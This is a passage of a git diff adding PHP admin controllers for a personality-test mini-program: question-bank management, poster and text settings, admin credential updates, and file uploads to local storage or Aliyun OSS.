+ // 标识当前使用的是企业题库还是超管题库
+ $isUsingSuperAdminBank = ($where['enterpriseId'] === null);
+
+ return success([
+ 'list' => $list,
+ 'total' => $total,
+ 'page' => $page,
+ 'pageSize' => $pageSize,
+ 'isUsingSuperAdminBank' => $isUsingSuperAdminBank,
+ 'enterpriseId' => $enterpriseId
+ ]);
+ }
+
+ /**
+ * 获取题目详情
+ * @param int $id
+ * @return \think\response\Json
+ */
+ public function detail($id)
+ {
+ $user = $this->request->user ?? null;
+
+ if (!$user) {
+ return error('未登录', 401);
+ }
+
+ // 确定企业ID
+ $enterpriseId = null;
+ if ($user['role'] === 'enterprise_admin') {
+ $userModel = Db::name('users')->where('id', $user['userId'])->find();
+ $enterpriseId = $userModel['enterpriseId'] ?? null;
+ } elseif ($user['role'] === 'admin') {
+ $enterpriseId = Request::param('enterpriseId', null);
+ } else {
+ return error('无权限访问', 403);
+ }
+
+ // 先查询企业题库,如果没有则查询超管题库
+ $question = null;
+ if ($enterpriseId !== null) {
+ $question = QuestionModel::where('id', $id)
+ ->where('enterpriseId', $enterpriseId)
+ ->find();
+ }
+
+ if (!$question) {
+ $question = QuestionModel::where('id', $id)
+ ->where('enterpriseId', null)
+ ->find();
+ }
+
+ if (!$question) {
+ return error('题目不存在', 404);
+ }
+
+ $data = $question->toArray();
+
+ // 处理 options 字段,确保返回数组格式
+ if (isset($data['options'])) {
+ // 如果是对象格式(stdClass),先转换为数组
+ if (is_object($data['options'])) {
+ $data['options'] = json_decode(json_encode($data['options']), true);
+ }
+ // 如果是关联数组(不是索引数组),转换为索引数组
+ if (is_array($data['options']) && !isset($data['options'][0])) {
+ $data['options'] = array_values($data['options']);
+ }
+ }
+
+ return success($data);
+ }
+
+ /**
+ * 创建题目(企业管理员只能创建自己企业的题目)
+ * @return \think\response\Json
+ */
+ public function create()
+ {
+ $user = $this->request->user ?? null;
+
+ if (!$user) {
+ return error('未登录', 401);
+ }
+
+ // 只有企业管理员可以创建题目
+ if ($user['role'] !== 'enterprise_admin') {
+ return error('只有企业管理员可以创建题目', 403);
+ }
+
+ // 获取企业ID
+ $userModel = Db::name('users')->where('id', $user['userId'])->find();
+ $enterpriseId = $userModel['enterpriseId'] ?? null;
+
+ if (!$enterpriseId) {
+ return error('企业信息不存在', 400);
+ }
+
+ $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']);
+
+ // 验证必填字段
+ if (empty($data['type']) || empty($data['question']) || empty($data['options'])) {
+ return error('题目类型、题目内容和选项不能为空', 400);
+ }
+
+ // 验证类型
+ if (!in_array($data['type'], ['mbti', 'disc', 'pdp'])) {
+ return error('题目类型必须是 mbti、disc 或 pdp', 400);
+ }
+
+ // 验证选项格式
+ if (!is_array($data['options'])) {
+ return error('选项必须是数组格式', 400);
+ }
+
+ // MBTI类型需要dimension字段
+ if ($data['type'] === 'mbti' && empty($data['dimension'])) {
+ return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400);
+ }
+
+ // 设置企业ID
+ $data['enterpriseId'] = $enterpriseId;
+
+ // 设置默认值
+ $data['sort'] = $data['sort'] ?? 0;
+ $data['status'] = $data['status'] ?? 1;
+
+ // 创建题目
+ $question = QuestionModel::create($data);
+
+ return success($question->toArray(), '创建成功');
+ }
+
+ /**
+ * 更新题目(企业管理员只能更新自己企业的题目)
+ * @param int $id
+ * @return \think\response\Json
+ */
+ public function update($id)
+ {
+ $user = $this->request->user ?? null;
+
+ if (!$user) {
+ return error('未登录', 401);
+ }
+
+ // 只有企业管理员可以更新题目
+ if ($user['role'] !== 'enterprise_admin') {
+ return error('只有企业管理员可以更新题目', 403);
+ }
+
+ // 获取企业ID
+ $userModel = Db::name('users')->where('id', $user['userId'])->find();
+ $enterpriseId = $userModel['enterpriseId'] ?? null;
+
+ if (!$enterpriseId) {
+ return error('企业信息不存在', 400);
+ }
+
+ // 只能更新自己企业的题目
+ $question = QuestionModel::where('id', $id)
+ ->where('enterpriseId', $enterpriseId)
+ ->find();
+
+ if (!$question) {
+ return error('题目不存在或无权限修改', 404);
+ }
+
+ $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']);
+
+ // 验证类型
+ if (isset($data['type']) && !in_array($data['type'], ['mbti', 'disc', 'pdp'])) {
+ return error('题目类型必须是 mbti、disc 或 pdp', 400);
+ }
+
+ // 验证选项格式
+ if (isset($data['options']) && !is_array($data['options'])) {
+ return error('选项必须是数组格式', 400);
+ }
+
+ // MBTI类型需要dimension字段
+ if (($data['type'] ?? $question->type) === 'mbti' && empty($data['dimension'] ?? $question->dimension)) {
+ return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400);
+ }
+
+ // 更新题目
+ $question->save($data);
+
+ return success($question->toArray(), '更新成功');
+ }
+
+ /**
+ * 删除题目(软删除,企业管理员只能删除自己企业的题目)
+ * @param int $id
+ * @return \think\response\Json
+ */
+ public function delete($id)
+ {
+ $user = $this->request->user ?? null;
+
+ if (!$user) {
+ return error('未登录', 401);
+ }
+
+ // 只有企业管理员可以删除题目
+ if ($user['role'] !== 'enterprise_admin') {
+ return error('只有企业管理员可以删除题目', 403);
+ }
+
+ // 获取企业ID
+ $userModel = Db::name('users')->where('id', $user['userId'])->find();
+ $enterpriseId = $userModel['enterpriseId'] ?? null;
+
+ if (!$enterpriseId) {
+ return error('企业信息不存在', 400);
+ }
+
+ // 只能删除自己企业的题目
+ $question = QuestionModel::where('id', $id)
+ ->where('enterpriseId', $enterpriseId)
+ ->find();
+
+ if (!$question) {
+ return error('题目不存在或无权限删除', 404);
+ }
+
+ // 执行软删除
+ $question->delete();
+
+ return success(null, '删除成功');
+ }
+
+ /**
+ * 批量导入题目(企业管理员)
+ * @return \think\response\Json
+ */
+ public function batchImport()
+ {
+ $user = $this->request->user ?? null;
+
+ if (!$user) {
+ return error('未登录', 401);
+ }
+
+ // 只有企业管理员可以导入题目
+ if ($user['role'] !== 'enterprise_admin') {
+ return error('只有企业管理员可以导入题目', 403);
+ }
+
+ // 获取企业ID
+ $userModel = Db::name('users')->where('id', $user['userId'])->find();
+ $enterpriseId = $userModel['enterpriseId'] ?? null;
+
+ if (!$enterpriseId) {
+ return error('企业信息不存在', 400);
+ }
+
+ $questions = Request::param('questions', []);
+
+ if (empty($questions) || !is_array($questions)) {
+ return error('题目数据不能为空', 400);
+ }
+
+ $successCount = 0;
+ $failCount = 0;
+ $errors = [];
+
+ Db::startTrans();
+ try {
+ foreach ($questions as $index => $q) {
+ // 验证必填字段
+ if (empty($q['type']) || empty($q['question']) || empty($q['options'])) {
+ $failCount++;
+ $errors[] = "第" . ($index + 1) . "题:题目类型、题目内容和选项不能为空";
+ continue;
+ }
+
+ // 验证类型
+ if (!in_array($q['type'], ['mbti', 'disc', 'pdp'])) {
+ $failCount++;
+ $errors[] = "第" . ($index + 1) . "题:题目类型必须是 mbti、disc 或 pdp";
+ continue;
+ }
+
+ // MBTI类型需要dimension字段
+ if ($q['type'] === 'mbti' && empty($q['dimension'])) {
+ $failCount++;
+ $errors[] = "第" . ($index + 1) . "题:MBTI类型题目必须指定维度";
+ continue;
+ }
+
+ // 设置企业ID
+ $q['enterpriseId'] = $enterpriseId;
+ $q['sort'] = $q['sort'] ?? ($index + 1);
+ $q['status'] = $q['status'] ?? 1;
+
+ QuestionModel::create($q);
+ $successCount++;
+ }
+
+ Db::commit();
+ } catch (\Exception $e) {
+ Db::rollback();
+ return error('批量导入失败:' . $e->getMessage(), 500);
+ }
+
+ return success([
+ 'successCount' => $successCount,
+ 'failCount' => $failCount,
+ 'errors' => $errors
+ ], "成功导入 {$successCount} 题,失败 {$failCount} 题");
+ }
+
+ /**
+ * 切换题目状态
+ * @param int $id
+ * @return \think\response\Json
+ */
+ public function toggleStatus($id)
+ {
+ $user = $this->request->user ?? null;
+
+ if (!$user) {
+ return error('未登录', 401);
+ }
+
+ // 只有企业管理员可以切换状态
+ if ($user['role'] !== 'enterprise_admin') {
+ return error('只有企业管理员可以切换题目状态', 403);
+ }
+
+ // 获取企业ID
+ $userModel = Db::name('users')->where('id', $user['userId'])->find();
+ $enterpriseId = $userModel['enterpriseId'] ?? null;
+
+ if (!$enterpriseId) {
+ return error('企业信息不存在', 400);
+ }
+
+ // 只能操作自己企业的题目
+ $question = QuestionModel::where('id', $id)
+ ->where('enterpriseId', $enterpriseId)
+ ->find();
+
+ if (!$question) {
+ return error('题目不存在或无权限操作', 404);
+ }
+
+ $question->status = $question->status == 1 ? 0 : 1;
+ $question->save();
+
+ return success($question->toArray(), '状态更新成功');
+ }
+}
+
diff --git a/api/app/controller/admin/Settings.php b/api/app/controller/admin/Settings.php
new file mode 100644
index 0000000..4e0d9cd
--- /dev/null
+++ b/api/app/controller/admin/Settings.php
@@ -0,0 +1,418 @@
+request->user ?? null;
+
+ if (!$user) {
+ return error('未登录', 401);
+ }
+
+ // 验证是否为管理员
+ if (!in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+
+ try {
+ // 获取当前管理员用户名
+ $jwtUsername = $user['username'] ?? null;
+ $username = 'admin';
+
+ if ($jwtUsername) {
+ $currentUser = UserModel::where('username', $jwtUsername)
+ ->whereIn('role', ['admin', 'enterprise_admin'])
+ ->find();
+ if ($currentUser) {
+ $username = $currentUser->username;
+ } else {
+ $username = $jwtUsername;
+ }
+ }
+
+ return success([
+ 'username' => $username
+ ]);
+ } catch (\Exception $e) {
+ return error('获取配置失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ /**
+ * 获取可用字体列表
+ * GET /api/v1/admin/settings/fonts
+ */
+ public function getFonts()
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+ $fonts = \app\common\service\PosterService::getAvailableFonts();
+ return success([
+ 'fonts' => $fonts,
+ 'fontDir' => root_path() . 'public/fonts/',
+ 'dirExist' => is_dir(root_path() . 'public/fonts/'),
+ ]);
+ }
+
+ /**
+ * 获取海报配置
+ * GET /api/v1/admin/settings/poster
+ * 有 enterpriseId 则读企业专属行,否则读全局(enterprise_id=0)
+ */
+ public function getPosterConfig()
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+
+ $eid = (int)($user['enterpriseId'] ?? 0);
+ $row = self::getConfig('poster_config', $eid);
+ $poster = $row ?: ['bgColor' => '#ffffff', 'bgImage' => '', 'elements' => []];
+ return success(['poster' => $poster]);
+ }
+
+ /**
+ * 保存海报配置
+ * PUT /api/v1/admin/settings/poster
+ */
+ public function updatePosterConfig()
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+
+ $input = json_decode($this->request->getContent(), true);
+ if (!is_array($input)) {
+ $input = [];
+ }
+ $data = [
+ 'bgColor' => $input['bgColor'] ?? '#ffffff',
+ 'bgImage' => $input['bgImage'] ?? '',
+ 'elements' => $input['elements'] ?? []
+ ];
+ $eid = (int)($user['enterpriseId'] ?? 0);
+
+ try {
+ self::saveConfig('poster_config', $data, $eid, '分销海报可视化配置');
+ return success(null, '海报配置已保存');
+ } catch (\Exception $e) {
+ return error('保存失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ /**
+ * 读取配置:key + enterprise_id,有企业专属则取,否则降级到 enterprise_id=0
+ */
+ private static function getConfig(string $key, int $enterpriseId = 0, bool $fallbackGlobal = false): ?array
+ {
+ $row = Db::name('system_config')
+ ->where('key', $key)
+ ->where('enterprise_id', $enterpriseId)
+ ->find();
+ if ($row && !empty($row['value'])) {
+ $val = is_string($row['value']) ? json_decode($row['value'], true) : $row['value'];
+ if (is_array($val)) return $val;
+ }
+ if ($fallbackGlobal && $enterpriseId > 0) {
+ $row = Db::name('system_config')
+ ->where('key', $key)
+ ->where('enterprise_id', 0)
+ ->find();
+ if ($row && !empty($row['value'])) {
+ $val = is_string($row['value']) ? json_decode($row['value'], true) : $row['value'];
+ if (is_array($val)) return $val;
+ }
+ }
+ return null;
+ }
+
+ /**
+ * 保存配置:key + enterprise_id,存在则 update,否则 insert
+ */
+ private static function saveConfig(string $key, array $value, int $enterpriseId = 0, string $description = ''): void
+ {
+ $now = time();
+ $json = json_encode($value, JSON_UNESCAPED_UNICODE);
+ $exists = Db::name('system_config')
+ ->where('key', $key)
+ ->where('enterprise_id', $enterpriseId)
+ ->find();
+ if ($exists) {
+ Db::name('system_config')
+ ->where('key', $key)
+ ->where('enterprise_id', $enterpriseId)
+ ->update(['value' => $json, 'updatedAt' => $now]);
+ } else {
+ Db::name('system_config')->insert([
+ 'key' => $key,
+ 'enterprise_id' => $enterpriseId,
+ 'value' => $json,
+ 'description' => $description,
+ 'createdAt' => $now,
+ 'updatedAt' => $now,
+ ]);
+ }
+ }
+
+ /**
+ * 安全解码 JSON(处理可能的多重编码)
+ */
+ private static function decodeJsonSafe($raw): ?array
+ {
+ if (!$raw) return null;
+ $val = $raw;
+ for ($i = 0; $i < 5 && is_string($val); $i++) {
+ $decoded = json_decode($val, true);
+ if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) break;
+ $val = $decoded;
+ }
+ return is_array($val) ? $val : null;
+ }
+
+ /**
+ * 获取小程序配置
+ * 读取全局 text_config(enterprise_id=0)作为默认值,再用企业专属行覆盖
+ * GET /api/v1/admin/settings/miniprogram
+ */
+ public function getMiniprogramConfig()
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+
+ try {
+ $eid = (int)($user['enterpriseId'] ?? 0);
+
+ // 全局小程序名称(仅超管可改,此处只读)
+ $miniprogramName = '神仙团队AI性格测试';
+ $siteInfo = Db::name('system_config')
+ ->where('key', 'site_info')
+ ->where('enterprise_id', 0)
+ ->find();
+ if ($siteInfo && !empty($siteInfo['value'])) {
+ $val = is_string($siteInfo['value']) ? json_decode($siteInfo['value'], true) : $siteInfo['value'];
+ $miniprogramName = (string) ($val['miniprogramName'] ?? $val['siteName'] ?? $miniprogramName);
+ }
+
+ $tcDefaults = [
+ 'analyzingTitle' => '正在分析中',
+ 'startButtonText' => '开始面相测试',
+ 'startButtonEnterprise' => '开始面部测试',
+ 'reportTitle' => '分析报告',
+ 'aiAnalysisText' => '智能分析',
+ ];
+
+ // 全局文案(enterprise_id=0)作为基础
+ $globalTc = self::getConfig('text_config', 0);
+ $textConfigData = $globalTc
+ ? array_merge($tcDefaults, array_intersect_key($globalTc, $tcDefaults))
+ : $tcDefaults;
+
+ // 企业专属文案 + 小程序名称 覆盖
+ if ($eid > 0) {
+ $eidTc = self::getConfig('text_config', $eid);
+ if ($eidTc) {
+ $textConfigData = array_merge($textConfigData, array_intersect_key($eidTc, $tcDefaults));
+ if (!empty($eidTc['miniprogramName'])) {
+ $miniprogramName = (string) $eidTc['miniprogramName'];
+ }
+ }
+ }
+
+ return success([
+ 'miniprogramName' => $miniprogramName,
+ 'textConfig' => $textConfigData,
+ ]);
+ } catch (\Exception $e) {
+ return error('获取配置失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ /**
+ * 更新小程序配置
+ * 写入 text_config 行:enterprise_id={eid}(有企业)或 0(无企业)
+ * PUT /api/v1/admin/settings/miniprogram
+ */
+ public function updateMiniprogramConfig()
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+
+ $rawBody = $this->request->getContent();
+ if (empty($rawBody)) {
+ $rawBody = file_get_contents('php://input');
+ }
+ $input = $rawBody ? json_decode($rawBody, true) : null;
+ if (!is_array($input)) {
+ $input = [
+ 'miniprogramName' => Request::param('miniprogramName', ''),
+ 'textConfig' => Request::param('textConfig', []),
+ ];
+ }
+
+ $miniprogramName = trim((string) ($input['miniprogramName'] ?? ''));
+ $textConfig = $input['textConfig'] ?? [];
+
+ if ($miniprogramName === '') {
+ return error('小程序名称不能为空', 400);
+ }
+
+ $tcKeys = ['analyzingTitle', 'startButtonText', 'startButtonEnterprise', 'reportTitle', 'aiAnalysisText'];
+ $tcDefaults = [
+ 'analyzingTitle' => '正在分析中',
+ 'startButtonText' => '开始面相测试',
+ 'startButtonEnterprise' => '开始面部测试',
+ 'reportTitle' => '分析报告',
+ 'aiAnalysisText' => '智能分析',
+ ];
+ $tcData = is_array($textConfig) ? array_intersect_key($textConfig, array_flip($tcKeys)) : [];
+ $tcMerge = array_merge($tcDefaults, $tcData);
+ $eid = (int)($user['enterpriseId'] ?? 0);
+
+ try {
+ // eid=0:更新 site_info 的小程序名称(全局)
+ if ($eid === 0) {
+ $siteRow = Db::name('system_config')->where('key', 'site_info')->where('enterprise_id', 0)->find();
+ $siteInfo = $siteRow && !empty($siteRow['value'])
+ ? (is_string($siteRow['value']) ? json_decode($siteRow['value'], true) : $siteRow['value'])
+ : [];
+ $siteInfo = is_array($siteInfo) ? $siteInfo : [];
+ $siteInfo['miniprogramName'] = $miniprogramName;
+ $siteInfo['siteName'] = $siteInfo['siteName'] ?? $miniprogramName;
+ $siteInfo['updatedAt'] = time();
+ self::saveConfig('site_info', $siteInfo, 0, '站点信息');
+ } else {
+ // 企业专属:把 miniprogramName 一并写入 text_config
+ $tcMerge['miniprogramName'] = $miniprogramName;
+ }
+
+ // 统一写到 text_config(企业行已含 miniprogramName,全局行不含)
+ self::saveConfig('text_config', $tcMerge, $eid, $eid > 0 ? "小程序文案配置(企业{$eid})" : '小程序文案配置(全局)');
+ return success([
+ 'miniprogramName' => $miniprogramName,
+ 'textConfig' => $tcMerge,
+ ], '小程序配置已保存');
+ } catch (\Exception $e) {
+ return error('保存失败:' . $e->getMessage(), 500);
+ }
+ }
+
+ /**
+ * 更新管理员账户信息
+ * @return \think\response\Json
+ */
+ public function updateCredentials()
+ {
+ $user = $this->request->user ?? null;
+
+ if (!$user) {
+ return error('未登录', 401);
+ }
+
+ // 验证是否为管理员
+ if (!in_array($user['role'], ['admin', 'enterprise_admin'])) {
+ return error('无权限访问', 403);
+ }
+
+ // 兼容 axios JSON PUT 与表单提交
+ $rawBody = $this->request->getContent();
+ if (empty($rawBody)) {
+ $rawBody = file_get_contents('php://input');
+ }
+ $input = $rawBody ? json_decode($rawBody, true) : null;
+ if (!is_array($input)) {
+ $input = [];
+ }
+
+ $username = trim((string)($input['username'] ?? Request::param('username', '')));
+ $currentPassword = (string)($input['currentPassword'] ?? Request::param('currentPassword', ''));
+ $newPassword = (string)($input['newPassword'] ?? Request::param('newPassword', ''));
+ $confirmPassword = (string)($input['confirmPassword'] ?? Request::param('confirmPassword', ''));
+
+ if (empty($username)) {
+ return error('用户名不能为空', 400);
+ }
+
+ try {
+ // 优先使用JWT中的username来查找用户
+ $jwtUsername = $user['username'] ?? null;
+
+ if (empty($jwtUsername)) {
+ return error('无法获取用户信息,请重新登录', 400);
+ }
+
+ // 直接通过username查找用户
+ $userModel = UserModel::where('username', $jwtUsername)
+ ->whereIn('role', ['admin', 'enterprise_admin'])
+ ->find();
+
+ if (!$userModel) {
+ return error('用户不存在,请检查登录状态', 404);
+ }
+
+ // 如果要修改密码,需要验证当前密码
+ if (!empty($newPassword)) {
+ if (empty($currentPassword)) {
+ return error('请输入当前密码', 400);
+ }
+
+ if ($newPassword !== $confirmPassword) {
+ return error('两次输入的密码不一致', 400);
+ }
+
+ // 验证当前密码(User 模型已有原始加密密码)
+ if (!password_verify($currentPassword, $userModel->password)) {
+ return error('当前密码错误', 400);
+ }
+
+ // 更新密码:传入明文,交由 User 模型的 setPasswordAttr 自动加密
+ $userModel->password = $newPassword;
+ }
+
+ // 更新用户名
+ if ($username !== $userModel->username) {
+ // 检查用户名是否已存在(排除当前用户)
+ $exists = UserModel::where('username', $username)
+ ->where('id', '<>', $userModel->id)
+ ->find();
+
+ if ($exists) {
+ return error('用户名已存在', 400);
+ }
+
+ $userModel->username = $username;
+ }
+
+ $userModel->save();
+
+ return success([
+ 'username' => $userModel->username
+ ], '账户信息已更新');
+ } catch (\Exception $e) {
+ return error('更新失败:' . $e->getMessage(), 500);
+ }
+ }
+}
+
diff --git a/api/app/controller/admin/Upload.php b/api/app/controller/admin/Upload.php
new file mode 100644
index 0000000..0930d95
--- /dev/null
+++ b/api/app/controller/admin/Upload.php
@@ -0,0 +1,347 @@
+extension());
+ $fileSize = $file->getSize();
+
+ if (!in_array($extension, $allowExts, true)) {
+ return error('不支持的文件类型,仅支持:jpg、jpeg、jfif、png、gif、webp、heic');
+ }
+
+ if ($fileSize > $maxSize) {
+ return error('文件过大,最大支持 5MB');
+ }
+
+ $config = config('upload');
+ $driver = $config['driver'] ?? 'oss';
+
+ try {
+ if ($driver === 'oss') {
+ $result = $this->uploadToOss($file, $config['oss'] ?? []);
+ } else {
+ $result = $this->uploadToLocal($file, $config['local'] ?? []);
+ }
+ } catch (\Throwable $e) {
+ return error('上传失败:' . $e->getMessage());
+ }
+
+ return success($result, '上传成功');
+ }
+
+ /**
+ * 上传文件(简历等,可包含图片 / PDF / Word)
+ * @return \think\response\Json
+ */
+ public function file()
+ {
+ $file = Request::file('file');
+
+ if (!$file) {
+ return error('未找到上传文件');
+ }
+
+ // 基本校验:大小 & 类型(放宽为 10MB)
+ $maxSize = 10 * 1024 * 1024; // 10MB
+ $allowExts = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'pdf', 'doc', 'docx'];
+ $extension = strtolower($file->extension());
+ $fileSize = $file->getSize();
+
+ if (!in_array($extension, $allowExts, true)) {
+ return error('不支持的文件类型,仅支持:jpg、jpeg、png、gif、webp、pdf、doc、docx');
+ }
+
+ if ($fileSize > $maxSize) {
+ return error('文件过大,最大支持 10MB');
+ }
+
+ $config = config('upload');
+ $driver = $config['driver'] ?? 'oss';
+
+ try {
+ if ($driver === 'oss') {
+ $result = $this->uploadToOss($file, $config['oss'] ?? []);
+ } else {
+ $result = $this->uploadToLocal($file, $config['local'] ?? []);
+ }
+ } catch (\Throwable $e) {
+ return error('上传失败:' . $e->getMessage());
+ }
+
+ return success($result, '上传成功');
+ }
+
+ /**
+ * 本地上传
+ */
+ protected function uploadToLocal($file, array $config): array
+ {
+ $root = $config['root'] ?? (app()->getRootPath() . 'public/uploads');
+ $driver = 'local';
+
+ // 先计算文件哈希,用于去重
+ $hash = md5_file($file->getPathname());
+ $mimeType = $this->getFileMimeSafe($file);
+ $size = $file->getSize();
+ $extension = strtolower($file->extension());
+
+ // 如果已存在相同文件(同一驱动 + hash),直接返回
+ $exists = UploadFile::where(['hash' => $hash, 'driver' => $driver])->find();
+ if ($exists) {
+ return [
+ 'path' => $exists->path,
+ 'url' => $exists->url,
+ 'id' => $exists->id,
+ ];
+ }
+
+ // 子目录:按 年/月 分目录,例如 2025/12
+ $year = date('Y');
+ $month = date('m');
+ $subDir = $year . DIRECTORY_SEPARATOR . $month;
+ $dir = rtrim($root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $subDir;
+
+ if (!is_dir($dir) && !mkdir($dir, 0755, true) && !is_dir($dir)) {
+ throw new \RuntimeException('创建上传目录失败');
+ }
+
+ $filename = uniqid('img_', true) . '.' . $extension;
+
+ // 保存文件
+ $file->move($dir, $filename);
+
+ // web 访问路径使用 / 分隔,例如 uploads/2025/12/xxx.jpg
+ $relativePath = 'uploads/' . $year . '/' . $month . '/' . $filename;
+ $urlPrefix = rtrim($config['url'] ?? '', '/');
+
+ // 如果未配置,使用 API 域名(生产环境:api.737270.com)
+ if (!$urlPrefix) {
+ $apiDomain = env('API_DOMAIN', 'https://api.737270.com');
+ $urlPrefix = rtrim($apiDomain, '/');
+ }
+
+ $url = $urlPrefix . '/' . $relativePath;
+
+ // 记录上传信息
+ $record = new UploadFile();
+ $record->path = $relativePath;
+ $record->url = $url;
+ $record->driver = $driver;
+ $record->hash = $hash;
+ $record->size = $size;
+ $record->mimeType = $mimeType;
+ $record->extension = $extension;
+ $record->save();
+
+ return [
+ 'path' => $relativePath,
+ 'url' => $url,
+ 'id' => $record->id,
+ ];
+ }
+
+ /**
+ * 上传到阿里云 OSS
+ * 完全参考 BaseCrawler.php 的实现
+ */
+ protected function uploadToOss($file, array $config): array
+ {
+ if (!class_exists('\OSS\OssClient')) {
+ throw new \RuntimeException('未安装 Aliyun OSS SDK,请先执行:composer require aliyuncs/oss-sdk-php');
+ }
+
+ // 参考 database.php 的配置读取方式,直接从 config 读取(config 已通过 env() 读取 .env)
+ $accessKeyId = $config['access_key_id'] ?? '';
+ $accessKeySecret = $config['access_key_secret'] ?? '';
+ $endpoint = $config['endpoint'] ?? '';
+ $bucket = $config['bucket'] ?? '';
+ $prefix = trim($config['prefix'] ?? 'mbti', '/');
+ $baseUrl = rtrim($config['url'] ?? '', '/');
+
+ // 如果未配置 OSS_URL,自动使用 OSS 自带域名:https://{bucket}.{endpoint}
+ if (empty($baseUrl) && !empty($bucket) && !empty($endpoint)) {
+ // 移除 endpoint 中的协议前缀(如果有)
+ $endpointClean = preg_replace('#^https?://#', '', $endpoint);
+ $baseUrl = 'https://' . $bucket . '.' . $endpointClean;
+ }
+
+ if (empty($accessKeyId) || empty($accessKeySecret) || empty($endpoint) || empty($bucket)) {
+ throw new \RuntimeException('OSS 配置不完整,请在 .env 文件中配置 OSS_ACCESS_KEY_ID、OSS_ACCESS_KEY_SECRET、OSS_ENDPOINT、OSS_BUCKET(OSS_URL 可选,不配置则使用 OSS 自带域名)');
+ }
+
+ $driver = 'oss';
+ $extension = strtolower($file->extension());
+ $hash = md5_file($file->getPathname());
+ $size = $file->getSize();
+ $mimeType = $this->getFileMimeSafe($file);
+
+ // 先查重(完全参考 BaseCrawler.php)
+ try {
+ $exists = UploadFile::where(['hash' => $hash, 'driver' => $driver])->find();
+ if ($exists) {
+ $tempFilePath = $file->getPathname();
+ if (file_exists($tempFilePath)) {
+ @unlink($tempFilePath);
+ }
+ $latestUrl = $baseUrl . '/' . ltrim($exists->path, '/');
+ if ($exists->url !== $latestUrl) {
+ $exists->url = $latestUrl;
+ $exists->save();
+ }
+ return [
+ 'path' => $exists->path,
+ 'url' => $latestUrl,
+ 'id' => $exists->id,
+ ];
+ }
+ } catch (\Exception $e) {
+ // 查重失败不影响上传流程
+ }
+
+ $object = $prefix . '/' . date('Ymd') . '/' . uniqid('img_', true) . '.' . $extension;
+
+ // 保存并临时清除代理设置(完全参考 BaseCrawler.php)
+ // 如果 putenv 函数可用则使用,否则跳过代理处理
+ $putenvAvailable = function_exists('putenv');
+ $originalHttpProxy = false;
+ $originalHttpsProxy = false;
+ $originalHttpProxyVar = false;
+ $originalHttpsProxyVar = false;
+
+ if ($putenvAvailable) {
+ $originalHttpProxy = getenv('HTTP_PROXY');
+ $originalHttpsProxy = getenv('HTTPS_PROXY');
+ $originalHttpProxyVar = getenv('http_proxy');
+ $originalHttpsProxyVar = getenv('https_proxy');
+
+ \putenv('HTTP_PROXY=');
+ \putenv('HTTPS_PROXY=');
+ \putenv('http_proxy=');
+ \putenv('https_proxy=');
+ }
+
+ try {
+ $client = new \OSS\OssClient($accessKeyId, $accessKeySecret, $endpoint);
+
+ if (!$client->doesBucketExist($bucket)) {
+ throw new \RuntimeException("OSS Bucket '{$bucket}' 不存在或无法访问");
+ }
+
+ $client->uploadFile($bucket, $object, $file->getPathname());
+ } finally {
+ // 恢复代理设置(完全参考 BaseCrawler.php)
+ if ($putenvAvailable) {
+ if ($originalHttpProxy !== false) {
+ \putenv('HTTP_PROXY=' . $originalHttpProxy);
+ } else {
+ \putenv('HTTP_PROXY');
+ }
+ if ($originalHttpsProxy !== false) {
+ \putenv('HTTPS_PROXY=' . $originalHttpsProxy);
+ } else {
+ \putenv('HTTPS_PROXY');
+ }
+ if ($originalHttpProxyVar !== false) {
+ \putenv('http_proxy=' . $originalHttpProxyVar);
+ } else {
+ \putenv('http_proxy');
+ }
+ if ($originalHttpsProxyVar !== false) {
+ \putenv('https_proxy=' . $originalHttpsProxyVar);
+ } else {
+ \putenv('https_proxy');
+ }
+ }
+ }
+
+ // 上传成功后,删除本地临时文件(完全参考 BaseCrawler.php)
+ $tempFilePath = $file->getPathname();
+ if (file_exists($tempFilePath)) {
+ @unlink($tempFilePath);
+ }
+
+ // 生成文件访问 URL(完全参考 BaseCrawler.php)
+ $ossUrl = $baseUrl . '/' . ltrim($object, '/');
+
+ // 记录上传信息(完全参考 BaseCrawler.php,try-catch 包裹)
+ try {
+ $record = new UploadFile();
+ $record->path = $object;
+ $record->url = $ossUrl;
+ $record->driver = $driver;
+ $record->hash = $hash;
+ $record->size = $size;
+ $record->mimeType = $mimeType;
+ $record->extension = $extension;
+ $record->save();
+ } catch (\Exception $e) {
+ // 记录失败不影响返回 URL
+ }
+
+ return [
+ 'path' => $object,
+ 'url' => $ossUrl,
+ 'id' => $record->id ?? 0,
+ ];
+ }
+
+ /**
+ * 安全获取文件 MIME:服务器未开 fileinfo 扩展时用扩展名推断,避免 finfo_open() 报错
+ */
+ protected function getFileMimeSafe($file): string
+ {
+ if (function_exists('finfo_open')) {
+ try {
+ return $file->getMime() ?: $this->mimeByExtension($file->extension());
+ } catch (\Throwable $e) {
+ return $this->mimeByExtension($file->extension());
+ }
+ }
+ return $this->mimeByExtension($file->extension());
+ }
+
+ private function mimeByExtension(string $ext): string
+ {
+ $ext = strtolower($ext ?: '');
+ $map = [
+ 'jpg' => 'image/jpeg',
+ 'jpeg' => 'image/jpeg',
+ 'jfif' => 'image/jpeg',
+ 'jpe' => 'image/jpeg',
+ 'png' => 'image/png',
+ 'gif' => 'image/gif',
+ 'webp' => 'image/webp',
+ 'bmp' => 'image/bmp',
